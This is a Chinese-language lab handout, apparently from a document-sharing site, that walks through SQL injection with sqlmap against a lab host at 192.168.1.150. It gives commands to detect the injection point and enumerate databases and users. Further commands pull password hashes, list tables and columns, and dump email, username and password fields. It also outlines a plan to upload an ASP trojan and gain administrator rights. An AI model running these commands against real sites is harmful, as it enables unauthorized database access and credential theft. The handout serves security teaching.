实验三-渗透攻击工具 SQLMap

合集下载
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

实验三渗透攻击工具测试(SQLMap)

一、注入简介

SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。

SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以市面的防火墙都不会对SQL注入发出警报,如果管理员没查看ⅡS日志的习惯,可能被入侵很长时间都不会发觉。但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况,需要构造巧妙的SQL语句,从而成功获取想要的数据。

sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,日前支持的数据库是MS-SQL,,MYSQL,ORACLE和POSTGRESQL。SQLMAP采用四种独特的SQL注入技术,分别是盲推理SQL注入,UNION查询SQL注入,堆查询和基于时间的SQL盲注入。其广泛的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。sqlmap的功能强大到让你惊叹,常规注入工具不能绕过的话,终极使用sqlmap会有意想不到的效果。

二、实验简介

总体思路:

·发现SQL注入位置;

·判断后台数据库类型;

·确定XP_CMDSHELL可执行情况

·发现WEB虚拟目录

·上传ASP木马;

·得到管理员权限;

三、测试

(一)检测注入点是否可用

1.C:\Python27\sqlmap>python sqlmap.py -u "http://19

2.168.1.150

/products.asp?id=134"

参数:-u:指定注入点url

结果:

注入结果展示:

(1)注入参数id为GET注入,注入类型有四种分别为:boolean-based blind、error-based、stacked queries、inline query。

(2)web服务器系统为windows 2003 or XP

(3)web应用程序技术为:, Microsoft IIS 6.0

(4)数据库类型为:SQLSERVER 2000

其中图一有若干询问语句,需要用户输入[Y/N],如果你懒得输入或者不懂怎么输入可以让程序自动输入,只需添加一个参数即可,命令如下:

[plain]view plain copy

1.C:\Python27\sqlmap>python sqlmap.py -u "http://19

2.168.1.150

/products.asp?id=134" --batch

(二)暴库

1.C:\Python27\sqlmap>python sqlmap.py -u "http://19

2.168.1.150

/products.asp?id=134" --dbs

参数:--dbs:dbs前面有两条杠,请看清楚。

结果:

结果显示该sqlserver中共包含7个可用的数据库。

(三)web当前使用的数据库

1.C:\Python27\sqlmap>python sqlmap.py -u "http://19

2.168.1.150

/products.asp?id=134" --current-db

(四)web数据库使用账户

1.C:\Python27\sqlmap>python sqlmap.py -u "http://19

2.168.1.150

/products.asp?id=134" --current-user

(五)列出sqlserver所有用户

1.C:\Python27\sqlmap>python sqlmap.py -u "http://19

2.168.1.150

/products.asp?id=134" --users

(六)数据库账户与密码

1.C:\Python27\sqlmap>python sqlmap.py -u "http://19

2.168.1.150

/products.asp?id=134" --passwords

(七)列出数据库中的表

1.C:\Python27\sqlmap>python sqlmap.py -u "http://19

2.168.1.150

/products.asp?id=134" -D tourdata --tables

参数:

-D:指定数据库名称

--tables:列出表

结果:

结果体现共列出了34张表。

(八)列出表中字段

1.C:\Python27\sqlmap>python sqlmap.py -u "http://19

2.168.1.150

/products.asp?id=134" -D tourdata -T userb --columns

参数:

-D:指定数据库名称

-T:指定要列出字段的表

--columns:指定列出字段

结果:

结果显示该userb表中包含了23条字段。

(九)暴字段内容

1.C:\Python27\sqlmap>python sqlmap.py -u "http://19

2.168.1.150

/products.asp?id=134" -D tourdata -T userb -C "email,User name,userpassword" --dump

参数:

-C :指定要暴的字段

--dump:将结果导出

结果:

相关文档
最新文档